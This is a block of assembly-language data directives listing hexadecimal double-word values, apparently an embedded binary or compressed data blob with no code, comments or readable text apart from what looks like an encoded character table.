dd 810D48D7h, 411BF0BDh, 1C00752Fh, 0EE5C987Ah, 0E88BFD44h
dd 25A000D4h, 469437E8h, 23017542h, 0EC971C9Ch, 48F02259h
dd 4F6100B5h, 95A0056Ah, 90014EBh, 4A339D2Bh, 20CCC5h
dd 0E85CB227h, 45759331h, 8842D01Fh, 24FEF300h, 11196h
dd 0BB125F22h, 130A7C54h, 2D05BF00h, 0A915A685h, 0E809003Ch
dd 69D61C4Fh, 0BB002145h, 0E0F31E12h, 0B5D831h, 0CE4D59E3h
dd 36D022Bh, 832EFF00h, 4B58BFD5h, 26360065h, 3F9DA4C2h
dd 5D0038A1h, 0FB40254Eh, 0ECF32DEAh, 4947000Ch, 0F4A49541h
dd 0A1FE3B6h, 28C01B6Bh, 0C896C0Dh, 0F8C60F67h, 420CAACh
dd 0B026CC91h, 0B4448600h, 9F6BBF06h, 0A4B800D2h, 54FBC10h
dd 0C0509DA5h, 6FCC4B6h, 0C800BDEAh, 8D22CC64h, 90504AA3h
dd 0A48C0EDCh, 0BC40BA86h, 60078B63h, 806BC63Dh, 520FB6B4h
dd 2E01A6h, 45859009h, 0D98C6FC0h, 242C4C00h, 6A107944h
dd 0D0A10013h, 7F80F0C2h, 1A012A61h, 409F0F2Fh, 9A70C8C4h
dd 7A9700CFh, 0E6B4035Ah, 6A7F2736h, 8ACA5100h, 7CE966A8h
dd 10680013h, 99EDA920h, 7B00480Bh, 494F1191h, 0EA406E43h
dd 98FAD3h, 0D217A33Bh, 8D7D30ABh, 0B3044700h, 9BBA693h
dd 0DDDB0184h, 742D2915h, 90DE4302h, 0E65A41B8h, 7D4A7200h
dd 5212C3Dh, 4D6E008Bh, 3B022408h, 0F5000789h, 0C3C7B5FCh
dd 5810DBCFh, 5A009471h, 0EC598B7Eh, 8003A234h, 0FC9182B7h
dd 0F3C095B4h, 3E6CFEh, 5A8F59F5h, 7E03C48Dh, 0BAF82000h
dd 5292B102h, 9A7E6B7h, 78800498h, 0BE00AA74h, 691B6693h
dd 168D0034h, 0F254090Eh, 52000429h, 0BA086365h, 36A1D79h
dd 331720F3h, 16C309DBh, 0E0D62BC8h, 0FB803F07h, 3BC07F06h
dd 2E5DDD34h, 0DF8E4h, 150F0EF1h, 0C3010C8Bh, 85B0D8E8h
dd 0FB709CB8h, 0DAE63A5Dh, 0EF1DEB8Ah, 2EC6059Dh, 0FDDBC0D3h
dd 55B88B04h, 77FA8503h, 806DE41Fh, 0C7089h, 0A0915A59h
dd 8880B494h, 0E42D0A03h, 0A281A54Dh, 0D0B88053h, 67744Ah
dd 600F060Bh, 7216EA83h, 0EB100403h, 90F8A123h, 0E421DDDFh
dd 74400FCh, 0C50477C1h, 340062C9h, 0CFF14858h, 247DC752h
dd 0ABDC50h, 0BCE9776Eh, 0BF01D35Fh, 0F3E07432h, 6F83CCCh
dd 0CFE200FCh, 297FB0C4h, 0BD00C27Ah, 168F720Ch, 67E8D3h
dd 0D40DA092h, 0C0A10BB9h, 0AF001898h, 0E43B57F0h, 7667DC6h
dd 0EECF869h, 100BC33Fh, 927CF4D0h, 50E88060h, 555AC01h
dd 68C1A1E0h, 0FB0A8058h
dd 0FC00EA51h, 0A5666F64h, 0B191CEh, 117FB762h, 0D3D52DE0h
dd 0F0466909h, 60558041h, 894831h, 5BB56FCCh, 0B9BC72AAh
dd 8C41FC2Ch, 63A6813Dh, 0C183040Ah, 1F2DF4CCh, 3AFDBBh
dd 9AC02456h, 8900AF4Eh, 0B683252h, 0F61F41Bh, 0D61D655Ch
dd 6A0D4680h, 8403FB91h, 0FE1EDDEAh, 2353D814h, 3C100055h
dd 8EEB7C72h, 0E204471Fh, 0BB379F33h, 0C13596C2h, 10203030h
dd 408C012Fh, 0E424AA25h, 0B095201Dh, 36C30307h, 5E50604h
dd 2B30487h, 9D09CB08h, 200C9C03h, 160EF80Dh, 1A840090h
dd 687013E8h, 93EE6675h, 3825B10Fh, 84FEE0D8h, 985C8A9h
dd 54CEE6EAh, 86AC7080h, 4839B042h, 84A9032Ah, 0BB298267h
dd 2EAD812h, 7B8300A8h, 0F7F6114h, 7C00A522h, 0B4496847h
dd 589C88h, 26961873h, 782F7024h, 0C748018h, 7D6212h, 15235AF0h
dd 87B3850Fh, 0B614B17h, 0A6164307h, 2470E471h, 719684FCh
dd 66D900A4h, 0A114B8FCh, 2500DA48h, 658B378Dh, 32E0A95h
dd 0E81F39B9h, 16E02AA7h, 2098B464h, 57335007h, 0C0C0BE8Bh
dd 3AC4443Ah, 3DBC990Bh, 4210C883h, 0B5F87DCCh, 522D0DD0h
dd 7F5500D4h, 1F883386h, 0A1AC44h, 8DCABCE4h, 89E82410h
dd 96633401h, 5AEB2948h, 0E9490D4h, 5C4A98C8h, 0A0C09CCEh
dd 0A832A4C4h, 0C1F317Eh, 95D8102h, 265C80CCh, 0E0696285h
dd 6E606E22h, 0A702A68Ah, 0BA8918C9h, 4963E003h, 3CB700BEh
dd 0E9CA8BD5h, 65FCD28Ch, 0DDBC7400h, 0B327ED7Ah, 8343077Ch
dd 39EFC89h, 0C2B8D00Bh, 0CB0103FDh, 74917208h, 3430641Dh
dd 2273002Ch, 0EFA85EC3h, 0F400553Bh, 5969CCA7h, 17D73017h
dd 0FDED83h, 0E1E0DD7Dh, 0A176F001h, 7D0B6600h, 855EA488h
dd 5D4000A5h, 38FF4C15h, 61DB292h, 0BE004657h, 8835905h
dd 0C99407F0h, 0F7CDDBh, 8257E815h, 0F6B82503h, 0B0216ACAh
dd 7F90C432h, 858400D4h, 0AC456C26h, 0F67F8139h, 0FECA9800h
dd 4DA2A32Eh, 0A1D81D42h, 0DF670180h, 0CC202162h, 5600FC44h
dd 0C77FA719h, 728D0C1h, 54FA4802h, 8320FE0Bh, 50798A98h
dd 3AA9A83Eh, 183DD8h, 0D1E88980h, 1788B6h, 948A8278h
dd 7F913967h, 9E4C2100h, 0DDA5E0ECh, 851C4889h, 0FECB1907h
dd 3D10A032h, 2A0040C6h, 9F09010Ch, 72350671h, 0C5B00372h
dd 131A65B4h, 9226BBE8h, 0A9A73400h, 8FA8DA24h, 0E47D56h
dd 0D8449821h, 0DF23E828h, 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h
dd 415782FFh, 8A503201h, 0B1AA3054h, 58AE6100h, 0EE6DA2Dh
dd 60D000A3h, 549E1042h, 8F0009D4h, 0C7D82808h, 0DC940Ch
dd 0BE0B846h, 1407529Eh, 8080B93Bh, 9C696E3Bh, 10E68Eh
dd 0C4B632BEh, 80661397h, 7AC23C02h, 60E07760h, 0E18A64h
dd 4CA29179h, 40F56E42h, 4EF73900h, 8598DFEBh, 27C00F6h
dd 300C8A12h, 914CE181h, 444849h, 44B2E906h, 1C26CE2Ch
dd 80800140h, 83490579h, 4100FEC9h, 4FBB07Bh, 102B207h
dd 658A13EBh, 7A4A3C38h, 2FC224C0h, 6C5E035Fh, 423796C4h
dd 0B563DD8h, 0F0074EAh, 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h
dd 1EC93390h, 5607C500h, 2FCCF814h, 5C1F1C1h, 0BB5460h
dd 9CF04CB4h, 0F21217A0h, 537A8E00h, 0BC4E1440h, 568B5884h
dd 0DA1C3100h, 479130AFh, 25FE3F00h, 0ABDE13F8h, 0BBAA0716h
dd 0B0B6F117h, 72012C02h, 8E741500h, 3947CEA8h, 0BC70049h
dd 0FADC7516h, 0E800F43Ch, 0BC8AC52Ah, 6C8D24h, 0ACBE0460h
dd 6C70375h, 0EDCC0900h, 0F8463F1Eh, 0F5F2A3h, 0E312F713h
dd 89028D61h, 965C66F2h, 951D003Dh, 0FFE281C3h, 0EFE50203h
dd 0BFFC6284h, 60E8F7C1h, 4E00ACEBh, 37D7A06Ah, 3B159449h
dd 88009547h, 2AF509F7h, 0C3000F73h, 50085EF9h, 1D5540C5h
dd 409C926Ah, 0F6013347h, 8A0025EBh, 0D1063544h, 7D05Ch
dd 72D8042Ah, 87884316h, 82CDF53Fh, 0AB0D4926h, 0CCF26007h
dd 0B7500CBh, 2C683EEh, 0E003255Fh, 7A2A1D0Ah, 0CC50F040h
dd 5A1800AAh, 0B9A8285Dh, 10EC086Bh, 75496900h, 6D53F92Ch
dd 7C9842h, 0FBE82A14h, 0BF1BEAFAh, 4500B1F6h, 0E05135Eh
dd 1567DAh, 22EB92C7h, 7940505Ah, 0DF14BA00h, 0B3C35281h
dd 1F5C001Dh, 74ECB808h, 331329ADh, 13004F79h, 0A51BBA9Bh
dd 2AB40022h, 0A28670B9h, 0DF0353F0h, 308A0448h, 341CF899h
dd 138207EEh, 807DE949h, 0F1A24C3Ah, 1400B1F0h, 1D0FBA2Ch
dd 0F88AB788h, 4131EF2h, 3C0EC02Eh, 0E44AA9F3h, 196E4C16h
dd 0A280351Dh, 2FB120F4h, 0A51D01BAh, 0C8F59037h, 88A4FCDCh
dd 0D11F3Bh, 2D7B5D3Ch, 0E468A3h, 0F8B8292Ah, 8D4C4D2h
dd 2044B41Fh, 5AC8007Bh, 0B804EFD8h, 942860FCh, 6D1EBA3Ah
dd 751FB77Bh, 0CCDDD022h, 53CFB3Fh, 1AB83155h, 8FF26272h
dd 0CF29CFEDh, 3C3FDE0Ah, 0F8510108h, 0F48ACB3Dh, 79C865E0h
dd 34251D72h, 0D64A8047h, 0FC1A469Dh, 45E4BA00h, 1FB263D3h
dd 0CA143EF0h, 643FC403h, 87A96823h, 0A675DC10h, 57721F0h
dd 3CC0E507h, 0BA90F462h, 0F847FCh, 3A8A0CF2h, 6EE24C3h
dd 68001B7Ch, 100A211Ch, 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh
dd 0F928912Ch, 0F949DA00h, 4160F0Ch, 7DB875F0h, 0DDABC0E3h
dd 0F500BA99h, 0B2F46E29h, 0ECA4A4Eh, 0CC3025D4h, 6D064400h
dd 647D2F39h, 43FCDD0Fh, 30E2358h, 722CD020h, 266C3E3h
dd 0CE8618Ah, 1D007051h, 96684C42h, 60F6F924h, 4120D831h
dd 501E724Dh, 51004AE1h, 0B88B440Fh, 3AB3008Ch, 0DB84CE52h
dd 7300FB19h, 530B108Eh, 262CCBBh, 37811D7h, 65404B7Fh
dd 77008312h, 859F2AC6h, 0E2D0EB43h, 88680053h, 3F094091h
dd 0B2007548h, 98F1864Ch, 1531821h, 0A32347E8h, 0D925BD38h
dd 5A06EC3Dh, 0B60A5Ch, 13406974h, 3D21E992h, 3E7CA84Bh
dd 73030744h, 8F72466Bh, 617053E8h, 45F86300h, 0A2416478h
dd 97AB1D10h, 0B2C2C0BBh, 58045D6Ch, 0C800E698h, 0C798928Eh
dd 3011DC42h, 0E46E8924h, 0DAC1B0E8h, 22A88F93h, 4844E0F8h
dd 31075DA0h, 0B0189198h, 21286490h, 4048881Eh, 5C328085h
dd 0F4268800h, 3C704431h, 6887C8FCh, 9E601C9Dh, 58891040h
dd 24033C12h, 61884C50h, 9178D048h, 7C403011h, 2C993864h
dd 131E30F0h, 2841220Ch, 24D22045h, 31848C4h, 10B1B899h
dd 0A2077813h, 51706E08h, 0C0BC3153h, 77B361F8h, 30F03D81h
dd 0E80318BCh, 48D4BE01h, 28E0548Ah, 223E29DFh, 88DC0FA1h
dd 0C4666019h, 24B044D8h, 33A6267h, 0D0183238h, 0CA88CABh
dd 801D24CCh, 601DC872h, 45FC41Fh, 0ACC03C4Eh, 0EBC2484h
dd 0B8249912h, 0B4396883h, 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh
dd 0E4F0F5A8h, 0D0FCA43Ch, 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h
dd 940F4CE4h, 905CC4CCh, 8C39A3A0h, 88E87CFCh, 24CF48FAh
dd 38E0AC84h, 7CEFD80h, 1CF47Ch, 68281178h, 89740F18h
dd 70EE4C04h, 0DEBF64AEh, 0FBFAC6Ch, 44ED683Ch, 0F8FAF71Eh
dd 5CF36007h, 2FE2F84Dh, 3EC8F274h, 0CBA9458h, 0CFF454BAh
dd 60475014h, 914CF13Ch, 0F840F930h, 0EFFD1814h, 0CAF0BCF3h
dd 9FC700Ah, 7D97E800h, 81BA2098h, 80510995h, 0E0803F60h
dd 7446724Eh, 36BC4105h, 0FA8025B9h, 74450AB8h, 0F3133AFCh
dd 4A82F980h, 0A4095517h, 10015F01h, 0D2B8057Dh, 7EC099E9h
dd 0B1483907h, 0E5500C02h, 5A40800Fh, 202107Dh, 18BF0372h
dd 2C7F40FBh
dd 9B831F4Ch, 0D0FCC08Bh, 282DF876h, 317FFF00h, 86730232h
dd 0F3E11CC8h, 0B48D007Eh, 4AA87449h, 66FC400Fh, 0EBA4A2C1h
dd 0E76D6123h, 0B0B60FC0h, 0FB80009Bh, 0BC37401h, 9007704h
dd 6C30BFF3h, 7EB03Bh, 1AB8B302h, 4F9D140Dh, 2F588E0Fh
dd 8C44A0A1h, 10917BEh, 763352A3h, 0E011D825h, 88028F4Bh
dd 0AAC81B1h, 2B57E0C0h, 0C3B01F82h, 86E64084h, 2D3D1480h
dd 6D55AA12h, 0E04DFC0Fh, 0CA83BE5h, 11F007Fh, 7CFDF983h
dd 0C97E0B1Ah, 4E861C00h, 4A3E80AAh, 0A0401F27h, 0F766C02Fh
dd 0D8F320D9h, 0BF1CEB00h, 8F42C311h, 19740091h, 2F8E2C5h
dd 8A001508h, 6623A2E0h, 0A20E86ABh, 2A54C0C3h, 4081007Fh
dd 0E3FE3306h, 2B00F225h, 5EAB6293h, 0F48A0B14h, 8B8C0F29h
dd 116049D2h, 2BB48719h, 86081C01h, 27204EAh, 0EB09330h
dd 0E65D8A45h, 0E455BF00h, 0BDF8AA4Ah, 3B6DD21Ch, 90E2EBC0h
dd 83067Dh, 0D7DAF7A7h, 0B1E46A6Fh, 0C4008AE0h, 8B5092AAh
dd 32DC61h, 258C35F7h, 5B23F1Dh, 49430A01h, 0ED15D50Bh
dd 8BE980E7h, 0AA040709h, 10F8DC3Bh, 4B735852h, 830E0F98h
dd 0A01D12FAh, 5638BA05h, 496F00E2h, 0EB04D6B5h, 0DB013328h
dd 0E03A8889h, 48C0C11Dh, 0F60300B3h, 43DC8AF3h, 1488EACh
dd 4B0D002Dh, 3DA0F475h, 0C57C031Eh, 4AEAEB32h, 0C3FF1AA8h
dd 3C2EE358h, 0C058073h, 27F97541h, 26CF072Bh, 708EC3F7h
dd 81891D8Ah, 46A43200h, 220B6452h, 0F211CF1h, 0D93A0004h
dd 0E9027F76h, 8DDDCC00h, 1A9B9C09h, 0C9241790h, 48F805h
dd 1E74D03Ch, 7E537651h, 7A293B48h, 0AE92AA8h, 3E80C8Ch
dd 0F7CC0784h, 595B407Fh, 0E2014312h, 0AC0BEBDCh, 7DC04A35h
dd 5C00041h, 0EADFC42Bh, 26B8B701h, 0BA402A00h, 0BDE7602h
dd 1720029Bh, 289958F7h, 2DFDACE0h, 831A473Fh, 0F97E05D4h
dd 0EB48DBB6h, 1C51F9A3h, 0C07FFBECh, 1BF52E10h, 6A391338h
dd 3600FD20h, 33C81067h, 299D28h, 99593577h, 6E1940D0h
dd 0D9D60B1Eh, 69269C40h, 7B2B202Fh, 4470007h, 4FEE0990h
dd 0E9EAC1EAh, 136BC200h, 8C5AE8Fh, 5D770Bh, 0DE4F1673h
dd 68C61B28h, 0F0578D00h, 5A80E84Ch, 9C220081h, 4BE96CBAh
dd 591F13F4h, 60C79001h, 80F7B951h, 0C0A0A4C7h, 0FE6F2B7h
dd 0E3AFF599h, 3D46EF20h, 7400344Ah, 0F9C70C17h, 0D11166h
dd 16207536h, 1A7E2A52h, 145B3900h, 990F4C0Eh, 54FC079Bh
dd 3046BA33h, 403421EBh, 0B716C30Eh, 8745C019h, 0DA74D7h
dd 55F0F73Bh, 4E775D05h, 1C042498h, 0D0E9FB26h, 8BF00BBh
dd 3CAC1DE3h, 374272Ch, 4D228039h, 103E9620h, 0EF560060h
dd 648AEDE2h, 47F1906h, 52450B07h, 0C373020Dh, 3AAC88C0h
dd 0D0F400C4h, 0F7141BB2h, 0FF00E7EBh, 89BBA865h, 18E318Ch
dd 0A1C76630h, 0F08693BFh, 0F8125588h, 88006106h, 0D1267423h
dd 3925E430h, 2C002EE1h, 33C697F3h, 352E44C1h, 3A398931h
dd 653B3Ah, 1896DF36h, 0D78B46h, 424039EBh, 0D32D4CD8h
dd 1EDBFE01h, 0CABF79DAh, 83C7D4h, 0F7D9E880h, 0EC5589C1h
dd 3E60CB00h, 0EB01F8A2h, 71A400B6h, 1432AF43h, 0A7002DAEh
dd 0A1B42B93h, 9C0FFAh, 0FBC1B801h, 589666EBh, 116BEC00h
dd 2703F80Eh, 0A6D83DA0h, 4EE5C180h, 0E02D6EBDh, 4FD58709h
dd 0E4E7006Ah, 222C35Bh, 6084482Ah, 61E06B29h, 0E48BA13h
dd 0C20776A2h, 5721C385h, 2BE35680h, 0D874030Dh, 0D680DCC7h
dd 0D1F0EAF8h, 5D8D6300h, 28C25F90h, 0E7FC0008h, 0A4F8C4CAh
dd 270045CEh, 48F324DAh, 1E1E91EFh, 40441A22h, 7538920h
dd 0C0074FC4h, 0E6E8D4A3h, 0ACCD82D0h, 0C66E00B7h, 0F43FF02Bh
dd 803C2606h, 0C0FE02FCh, 60752D0Ah, 59DE4ABh, 412E74C4h
dd 0A4A68146h, 5ECDE4F9h, 3880500h, 0EE8A6B53h, 8DCF1F2Ah
dd 0D6AD8742h, 0EB5BF0ABh, 0A400CC88h, 0D8DEA1C3h, 1B8C41h
dd 7FD307Ch, 4DFF01F5h, 7475F425h, 0BB0D00C4h, 3414DE45h
dd 0E40FC400h, 41AB127Eh, 43290104h, 4B0B1F91h, 0F9987150h
dd 0DEC16031h, 6BB86600h, 2E6C9622h, 9E1E00EBh, 9A88FC25h
dd 0DD004517h, 0F7EE7E0h, 1CC9B258h, 808DF228h, 0BF065975h
dd 0C200AA9Ah, 45D36649h, 64E31Ah, 0A9F938B4h, 847A16D8h
dd 736D3100h, 0C92E3283h, 8DA70008h, 0D0445F46h, 0F5008925h
dd 0A03D0320h, 58227507h, 4600BB09h, 119FA506h, 737B90AAh
dd 9D7E811Fh, 326B800h, 0E1340h, 0CDC43C6h, 0DB8D6BE9h
dd 2D2E0801h, 69053FFFh, 2104E12Fh, 5B6C7048h, 83C44000h
dd 0E051ECA2h, 0E1D901F4h, 72BFE837h, 0DBFCD80Eh, 749C2D00h
dd 9BF2D8A7h, 83DD3C48h, 0FAA8D401h, 0FC410B70h, 9A00DA09h
dd 0F8EF80BCh, 7E675DFh, 3187BF2h, 9B6BF0BAh, 4400148Ah
dd 7DDE515h, 8E8C0h, 660F7004h, 45E33005h, 621DE27Ch, 480032EBh
dd 64CBCAAh, 82F0073h, 8205C879h, 0C00F83Bh, 0A303C96h
dd 712FF83h, 8027730Fh, 351F707Ch, 44E425C6h, 4FE00E00h
dd 0FE0D781Ah, 13800011h, 0EBED7739h, 2F981F14h, 3128A601h
dd 525F9862h, 7A533530h, 21190325h, 0F150A190h, 77835688h
dd 0C1303A00h, 389D6EAh, 53120088h, 6A80C302h, 6008BEEh
dd 0A0042ECEh, 7CA0BC8h, 0B46B840Fh, 79FC4069h, 5C2C9DAEh
dd 0EA008361h, 1EFF13F3h, 607A00D1h, 1F7C04F6h, 0F4891BFh
dd 82D0EFDh, 81A70064h, 0B6B3DAh, 15730DE0h, 0E0549F2h
dd 27D22103h, 98989378h, 0DFF410h, 0B8D7146Dh, 0C22B122Ah
dd 0DA790104h, 9FC18534h, 0E44062F5h, 614057h, 0F7A4B91Bh
dd 0C0DF6A1h, 0F93DFE00h, 24C4811Eh, 1F75000Fh, 0EBECCC49h
dd 0A00397Bh, 0AA3004C1h, 1E7820h, 2122D489h, 0EA44316Ch
dd 0B009873h, 3134C8Dh, 0C61602h, 80D58207h, 0F7D1853Fh
dd 0CCB9540Eh, 0E5EB271Fh, 88D271E0h, 0D5FB008Ah, 6FF19E9h
dd 0B900F008h, 9D9B1CD1h, 261EBA7Dh, 27E2DBh, 6BF89A6h
dd 0F600E8EEh, 3E13C185h, 5C0DFF80h, 303AD7C5h, 464E0107h
dd 7075F0FCh, 7D008286h, 53A0CE0h, 2C6699h, 1246152Bh
dd 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h, 5CD4B81Dh, 0E83B960Ch
dd 2A582B80h, 9C43D003h, 0DE252404h, 0BDC11362h, 0AAFC8498h
dd 1C35F212h, 825002F9h, 3E52E0D9h, 3FDFB0E0h, 0DB6EEB00h
dd 8AFF9B8Eh, 0D2A90266h, 0B0179E26h, 0DD90C1E3h, 527F89BCh
dd 906D2800h, 0C30B859Bh, 989900ACh, 4ECA4320h, 0C40027DDh
dd 0F03A2CF3h, 0F730Ah, 290DDA26h, 0CE904349h, 53B80600h
dd 131CEA52h, 140E008Ah, 619DB3CAh, 0A93D9428h, 6BE4002Ah
dd 9040EDD2h, 0F4FA0381h, 720A9E9Ch, 2143801h, 0BCC54BB5h
dd 0B871F8h, 250E978Ah, 0F0340F4h, 0B67850Fh, 7606A055h
dd 0FE81216h, 3F957AA7h, 741B0520h, 1C002029h, 16B93862h
dd 3C278B40h, 0DF8FB015h, 5B40C477h, 0B932D1B8h, 3D52073Fh
dd 34450030h, 0AF3F272Bh, 43906Ah, 511008EEh, 88154B90h
dd 42003EB8h, 0E40C2344h, 1E793A14h, 73918Ah, 85080A5Ch
dd 0B11E0490h, 210074FCh, 2CEC64F8h, 60422CE0h, 56520027h
dd 97915014h, 0CF19507h, 8762FC78h, 8225C008h, 0B8400073h
dd 8C5D54BCh, 8D0024D7h, 158B64A8h, 8043F3h, 0CB4EC93Dh
dd 1C303312h, 9810BA00h, 708D404Bh, 734F00D4h, 76B30BC4h
dd 743F8744h, 0EC7A8045h, 5798F20Dh, 258C006Fh, 302F206Eh
dd 42E4F178h
dd 1C0E397Eh, 0E7760410h, 0A8340E1h, 2B110082h, 5025D453h
dd 8B0BB273h, 33E9ABAh, 0F860A7EEh, 0E1A5D84Eh, 1318960h
dd 0F71EE3DBh, 408A07D0h, 97C1FF8Fh, 0D80E1879h, 0D108B3h
dd 350573E0h, 71060B41h, 70809DDBh, 0ACE6E2F3h, 85C33803h
dd 0B9038B61h, 53F8F420h, 1F30E618h, 3085DF2h, 98DB0CE6h
dd 0F410E099h, 8D122E7Ch, 0E0E3353h, 0E7D140B0h, 0D74DFDh
dd 0AEF8DC3Dh, 0F2015AC3h, 76F68500h, 3C647163h, 0CAE029h
dd 0EEE0E9C1h, 35FF983h, 1F7E800h, 0E78166FAh, 0BA0F00FFh
dd 2CE5C26h, 0C7003BF8h, 9DD02177h, 10CDF5h, 4E14069Fh
dd 0E09373FAh, 0B507247Eh, 47E88801h, 0C5BF023Bh, 0EB3FC07Eh
dd 212C011Ch, 1F0F5372h, 0CC10E4C6h, 4E0002E0h, 0B8B9D75h
dd 0E498C985h, 0FF7A3E35h, 3BCAFB80h, 4F5FE15Ah, 0E54EB014h
dd 2BA9008Ch, 4C770CBAh, 0DAB8177Dh, 0C2690145h, 30080110h
dd 0CE1F71A7h, 3ABE5920h, 16378099h, 0B1438D27h, 0E06E00C3h
dd 0E9775A35h, 0CC03CA55h, 0C085C950h, 0C73CA876h, 0D6810033h
dd 0F30C5D70h, 100E540h, 0DC92772h, 71C2F002h, 0D68B3E13h
dd 0CF507480h, 0F8D103D2h, 87057539h, 0CEB3201h, 0B4A6B080h
dd 0A02F0054h, 91757948h, 11FE42A5h, 0B657700h, 75676B5h
dd 5478ABh, 9D7B22BBh, 0BFAE3CECh, 0B10C7000h, 9A2DC2B4h
dd 0A049481Ch, 0CE34A11Dh, 52E0880Ah, 0FED0845Fh, 77F23200h
dd 0C8F94CAh, 0FAD1004Bh, 8A7F2089h, 11005653h, 0B8E1CB27h
dd 0ADA17h, 76F4F0Fh, 0E3C8FDF2h, 8A225500h, 0BDEAF8FCh
dd 759F008Bh, 5334AA87h, 0C7027C8Dh, 0CA1E88A3h, 840740C3h
dd 28A00D5h, 274307ECh, 0DE004647h, 7570B033h, 28E6E8h
dd 2A09BC80h, 4B26048Bh, 16C78A00h, 0F13E0649h, 0F40000Dh
dd 0C8E65B81h, 7D3B0C34h, 37311824h, 5711DCh, 40478014h
dd 0D97B754Bh, 28EFF100h, 50390563h, 4E8E8B9h, 0CF498F20h
dd 0F8E280ECh, 0B100B054h, 2E0BAFFh, 39735C8h, 496071A7h
dd 0D9B013FCh, 2900ADC2h, 4B89A09Dh, 7CDB85h, 5843762Dh
dd 0A5799FD7h, 41023000h, 0FF5EE180h, 0D9953C01h, 0E9181480h
dd 0C70A57E2h, 88A11C00h, 0F21F75Dh, 408C0059h, 183C8D12h
dd 307F2AC3h, 2ED61F00h, 2410A9EBh, 75217EABh, 0E3800002h
dd 0FC3245F3h, 75011A6Ah, 0FE4134F0h, 0D670DFB6h, 0E52C0749h
dd 0E07D3173h, 0B9FF3E62h, 4D9FD400h, 5F9589ECh, 9334001Ch
dd 9BDD88B0h, 1A1D0C71h, 0A89DE410h, 6EB78680h, 0C776B4h
dd 0DE3D34Ah, 0D6E8FD4Fh, 7E400401h, 4730BE21h, 0E0446130h
dd 13FF7D18h, 1A2CBFh, 0AF4ED6FAh, 0F2B89F23h, 59760E9h
dd 5FE4FE00h, 82783EBAh, 5816037Bh, 9297831Dh, 755BC998h
dd 33ADFC00h, 8D487C06h, 89231FBBh, 0A7084157h, 61042035h
dd 904EF815h, 54A2FE03h, 8041C59Ch, 7444342h, 48474645h
dd 4B4A0049h, 4E004D4Ch, 0A51504Fh, 38545352h, 5801C655h
dd 62615A59h, 6564C063h, 68676603h, 806B6A69h, 76E6D6Ch
dd 7271706Fh, 75740073h, 780E7776h, 307A79h, 34333231h
dd 37361C35h, 2B390038h, 24203D2Fh, 9D284Ch, 7D7B5D5Bh
dd 703A3B2Ch, 5C5F002Dh, 927222Ah, 91000D0Ah, 0AAE4C4E0h
dd 7388E867h, 0DA950F04h, 0C55E24FFh, 0C084EA21h, 0EC8B2706h
dd 1490B926h, 3620CB03h, 70D5A801h, 15E60FFCh, 0C62080B5h
dd 5C49E960h, 9E099B00h, 9C732D85h, 947A00FCh, 114A641Bh
dd 96FC6B5Bh, 8CEC9F00h, 0DB2D16DCh, 0C39707C0h, 914B5421h
dd 0FC66C204h, 190759E4h, 941FEBECh, 956BC70h, 4052008Ah
dd 0D4CF5C7Ch, 33001571h, 0FF273929h, 3C4BA3F4h, 790010FDh
dd 83481F05h, 400093C8h, 0A5CEB6F0h, 823252h, 0D98CD5F4h
dd 0C6660347h, 11F01600h, 5521429Fh, 4ABF0051h, 6C7EE292h
dd 0BB0076E1h, 0EB071569h, 41B929h, 0DC30630Ah, 0AB83E806h
dd 5600807Eh, 0E7C1157Ch, 0F869CFh, 8BFD097Dh, 7E58562h
dd 8F82B80Eh, 464BC10Bh, 3D60ED05h, 76EA00F0h, 2BBCE14h
dd 0C7143032h, 0CAF468h, 0EFC11A13h, 1C6FF24h, 336AD94h
dd 41FA6E7Eh, 2B13ED8Ch, 6AA1B0h, 0A6C246Dh, 7BEF947Fh
dd 15684A00h, 648CD44h, 387A4Bh, 519E418Bh, 2F02BAF3h
dd 921ACF07h, 0E83084E9h, 7BDD206h, 0A7EC4FF9h, 2ADF90C2h
dd 2004589h, 169F4999h, 0ECD9C65Ah, 6B7623h, 2F42C288h
dd 0F0CA36FFh, 0BA70E100h, 0F969CB33h, 0AD5C00D4h, 6068A240h
dd 627F6FD8h, 3BB50303h, 0A86D5AA4h, 1FE361Dh, 5315C83Fh
dd 0D4952D01h, 0D8023B81h, 0C029B27Ch, 6EE0E01Bh, 592EC49h
dd 50B1C594h, 2132839Fh, 0B2525207h, 62B071C4h, 790B0A0Dh
dd 1EB473FFh, 15D80CAh, 0B186A9C6h, 0A33EF44Fh, 50495307h
dd 16B5B95Bh, 32A0C1C7h, 0FC982A64h, 0F8281C13h, 5EB9C023h
dd 52250194h, 4690200h, 484EB36Fh, 0A25F0010h, 0BF446CF0h
dd 25001609h, 9DC24FAEh, 3081B8h, 9208E2C1h, 0E90071Dh
dd 47D10B00h, 75484B0Dh, 782E74EEh, 0FAB70066h, 498A01D3h
dd 0C0F8840h, 206A4306h, 0E183CAC1h, 6CD5003Fh, 184C2596h
dd 0EAFA270Eh, 6031E70Fh, 0D6D4006Bh, 79FC6ACh, 68B1527Fh
dd 900A97C9h, 750BCB7Eh, 6B80D100h, 902D37D8h, 0B85000E6h
dd 477CE29Fh, 3F72A4A3h, 4058AB00h, 252785A1h, 9F000C6h
dd 5F1CF405h, 8F000F15h, 334E99A4h, 0EC859A23h, 0F36A0058h
dd 0CAA15AA9h, 761E05F1h, 308A2B8Dh, 7C01BB3Ah, 0E0EFE378h
dd 0A2D0D6F5h, 0A4EC64h, 0F692FF30h, 75023A07h, 0E2C64600h
dd 94D701EFh, 0F83E0F17h, 7CC08483h, 0B6D44733h, 0BCA8E07h
dd 5E90148Dh, 139629h, 0C9241C1Eh, 0FE0274B1h, 1ADC0900h
dd 0D280B8FFh, 3B5E079h, 754F4304h, 7DD830D3h, 10017414h
dd 0C45B1FFh, 0C03E3B08h, 0A689057Ah, 2EDDF400h, 44D12D1h
dd 341D0F65h, 4700F78Ah, 0FD44F8A1h, 0A200D9E4h, 6590899Dh
dd 582E38h, 0F02D704Fh, 10E9A151h, 0A2271801h, 74532F85h
dd 0BCD1D8h, 0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh, 4717CDC0h
dd 1E8AEB5h, 0F6B02BCFh, 20E6D655h, 0F0122C84h, 9CECC3FAh
dd 0D465007Eh, 0C1E4ED15h, 0F7000316h, 0CE2B94BFh, 756247h
dd 12EC04B9h, 0A7C82728h, 1114D3Ch, 2EDE2CD3h, 0C0D7A242h
